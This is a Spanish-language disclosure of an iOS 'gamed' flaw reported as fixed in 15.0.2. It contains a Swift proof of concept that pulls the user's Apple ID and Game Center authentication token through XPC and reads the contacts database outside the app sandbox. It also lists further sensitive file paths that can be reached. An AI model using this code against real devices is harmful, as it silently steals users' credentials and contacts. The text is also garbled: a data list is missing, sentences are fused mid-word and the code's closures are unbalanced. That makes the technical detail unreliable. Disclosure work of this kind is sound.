
Exploit de iOS gamed (corregido en 15.0.2)
Actualización: Apple ha corregido esto silenciosamente en iOS 15.0.2 sin ningún tipo de reconocimiento o crédito público.
Cualquier aplicación instalada desde App Store puede acceder a los siguientes datos sin que el usuario reciba ningún aviso:
Aquí hay una breve prueba de concepto.
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
Cómo ocurre:
com.apple.gamed no comprueba correctamente el entitlement com.apple.developer.game-centergetServicesForPID:localPlayer:reply: devuelve varios objetos proxy XPC (GKAccountService, GKFriendService, GKUtilityService, etc.).com.apple.developer.game-center), invocar authenticatePlayerWithExistingCredentialsWithHandler: en GKAccountService devuelve un objeto que contiene el Apple ID del usuario, el DSID y el token de autenticación de Game Center (que permite enviar peticiones a https://gc.apple.com en nombre del usuario). Invocar getProfilesForPlayerIDs:handler: en GKProfileService devuelve un objeto que contiene el nombre y los apellidos del Apple ID del usuario. Invocar getFriendsForPlayer:handler: en GKFriendService devuelve un objeto con información sobre el amigo del usuario en Game Center.com.apple.developer.game-center, invocar requestImageDataForURL:subdirectory:fileName:handler: en GKUtilityService permite leer archivos arbitrarios fuera del sandbox de la aplicación pasando URLs de archivos a ese método. Entre los archivos (aunque no limitándose a ellos) a los que se puede acceder de esta manera se encuentran los siguientes:
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - contiene la caché de MobileGestalt
/var/mobile/Library/CoreDuet/People/interactionC.db - contiene una lista de contactos de Mail, SMS, iMessage, aplicaciones de mensajería de terceros y metadatos sobre la interacción del usuario con estos contactos (incluyendo marcas de tiempo y estadísticas)
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - contiene los contactos favoritos y sus números de teléfono
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - contiene la base de datos completa de la libreta de direcciones
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - contiene las fotos de los contactos de la libreta de direccionescacheImageData:inSubdirectory:withFileName:handler: en GKUtilityService podría permitir escribir datos arbitrarios en una ubicación fuera del sandbox de la aplicación.En la página del Programa de Recompensas de Seguridad de Apple esta vulnerabilidad está evaluada en $100,000 (Acceso amplio de la aplicación a datos sensibles normalmente protegidos por un aviso de TCC o el sandbox de la plataforma. El acceso a “datos sensibles” incluye obtener un acceso amplio (es decir, la base de datos completa) a los Contactos).